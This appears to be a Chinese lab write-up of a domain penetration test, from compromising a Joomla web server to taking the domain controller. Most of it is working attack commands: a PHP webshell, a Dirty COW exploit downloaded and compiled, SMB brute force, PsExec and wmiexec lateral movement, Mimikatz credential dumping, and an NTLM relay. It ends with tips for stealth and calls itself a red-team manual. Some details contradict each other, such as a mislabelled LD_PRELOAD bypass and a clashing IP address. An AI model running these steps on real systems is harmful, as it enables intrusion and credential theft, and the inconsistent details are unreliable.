记一次域渗透从打点到内网
字数 1691 2025-08-29 22:41:32
域渗透从打点到内网完整技术指南
一、环境概述
本次渗透测试涉及以下主机环境:
- 攻击机:Kali Linux (172.20.10.3)
- 目标网络:
- Web服务器(CentOS):外网172.20.10.3,内网192.168.93.100
- 内网主机:
- Ubuntu服务器:192.168.93.12
- Windows 7:192.168.93.30
- Windows Server 2008:192.168.93.20
- Windows Server 2012(域控):192.168.93.10
- 域环境:TEST域
二、外网渗透阶段
1. 信息收集
工具使用:
- 使用
fscan进行快速扫描:fscan -h 172.20.10.3
发现成果:
- MySQL服务:root/123
- Web目录:http://172.20.10.3
- Joomla CMS框架识别
2. Joomla漏洞利用
工具使用:
- Joomla扫描工具:
git clone https://github.com/OWASP/joomscan perl joomscan.pl -u http://172.20.10.3
关键发现:
- 后台管理地址:
- http://172.20.10.3/joomla/administrator/
- http://172.20.10.3/administrator/
密码重置技术:
-
通过MySQL访问Joomla数据库:
mysql -u root -p123 -h 172.20.10.3 use joomla_db; update jos_users set password=md5('112233') where username='administrator'; -
成功登录后台:administrator/112233
3. 通过Joomla后台获取Webshell
技术实现:
- 定位模板文件:
/templates/beez3/index.php - 插入PHP webshell代码:
<?php system($_GET['cmd']); ?> - 访问webshell:
http://172.20.10.3/templates/beez3/shell.php?cmd=id
绕过disable_functions限制:
- 使用LD_PRELOAD技术绕过:
<?php $cmd = $_GET['cmd']; $evil_func = create_function('', $cmd); $evil_func(); ?>
4. 提权与内网入口
获取SSH凭证:
- 从数据库发现:wwwuser/wwwuser_123Aqx
- SSH连接:
ssh -oHostKeyAlgorithms=+ssh-rsa wwwuser@172.20.10.3
脏牛(Dirty COW)提权:
- 检查内核版本:
uname -a - 下载利用代码:
wget https://www.exploit-db.com/download/40839 -O dirty.c - 编译执行:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty - 获取root权限密码:
firefart
三、内网渗透阶段
1. 内网信息收集
MSF路由设置:
run autoroute -s 192.168.93.0/24
background
内网扫描:
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.93.0/24
run
发现成果:
- 存活主机:192.168.93.10/20/30
- 域环境:TEST域
2. 横向移动技术
方法一:SMB密码爆破与利用
SMB爆破:
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.20,192.168.93.30
set USER_FILE /usr/share/wordlists/common_users.txt
set PASS_FILE /usr/share/wordlists/common_passwords.txt
run
成功凭证:
- administrator/123qwe!ASD
PsExec利用:
use exploit/windows/smb/psexec
set RHOST 192.168.93.20
set SMBUser administrator
set SMBPass 123qwe!ASD
run
方法二:WMIExec利用
工具准备:
git clone https://github.com/CoreSecurity/impacket
cd impacket/examples
pip install .
代理配置:
vi /etc/proxychains.conf
# 添加:socks5 192.168.1.104 50002 aaa Aaa
WMIExec连接:
proxychains4 python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
3. 域控定位与凭证获取
域控识别命令:
nltest /DCLIST:TEST
nslookup -type=SRV _ldap._tcp
net time /domain
net group "Domain Controllers" /domain
netdom query pdc
凭证获取技术:
方法一:Procdump+Mimikatz
- 下载Procdump:
wget https://download.sysinternals.com/files/Procdump.zip - 转储lsass:
Procdump.exe -accepteula -ma lsass.exe lsass.dmp - 使用Mimikatz分析:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
方法二:直接Mimikatz
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
获取域管凭证:
- administrator:zxcASDqw123!!
连接域控:
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
4. NTLM Relay攻击
工具准备:
git clone https://github.com/lgandx/Responder
cd Responder-2.3.3.0
SMB签名扫描:
python tools/RunFinger.py -i 192.168.93.0/24
MultiRelay设置:
python tools/MultiRelay.py -t 192.168.93.30 -u ALL
Responder监听:
python Responder.py -I eth0
触发NTLM认证:
- MSSQL触发:
EXEC master.sys.xp_dirtree '\\192.168.93.100\simblog.txt',0,1; - MSF模块触发:
use auxiliary/admin/mssql/mssql_ntlm_stealer set RHOST 192.168.93.20 set RPORT 1433 set USERNAME testuser set PASSWORD cvcvgjASD!@ run
四、技术总结
关键学习点
-
CMS漏洞利用:
- Joomla版本识别与漏洞利用
- 通过数据库修改后台密码
- 模板文件写入webshell技术
-
Linux提权:
- 脏牛(Dirty COW)内核提权
- SSH算法兼容性处理
-
内网穿透:
- MSF路由配置
- Proxychains代理配置
-
横向移动:
- SMB密码爆破技术
- PsExec与WMIExec利用
- 域环境信息收集技术
-
凭证获取:
- Procdump内存转储
- Mimikatz多种使用方式
- NTLM Relay攻击链
优化建议
-
工具选择:
- 针对Linux目标,优先使用MSF而非Cobalt Strike
- 考虑使用Chisel等更稳定的隧道工具
-
隐蔽性提升:
- 使用更隐蔽的webshell插入方式
- 考虑使用内存加载Mimikatz避免文件落地
-
自动化程度:
- 可结合BloodHound进行自动化域环境分析
- 使用CrackMapExec进行自动化横向移动
本指南详细记录了从外网打点到内网域渗透的完整过程,涵盖了主流的内网渗透技术,可作为红队操作的参考手册。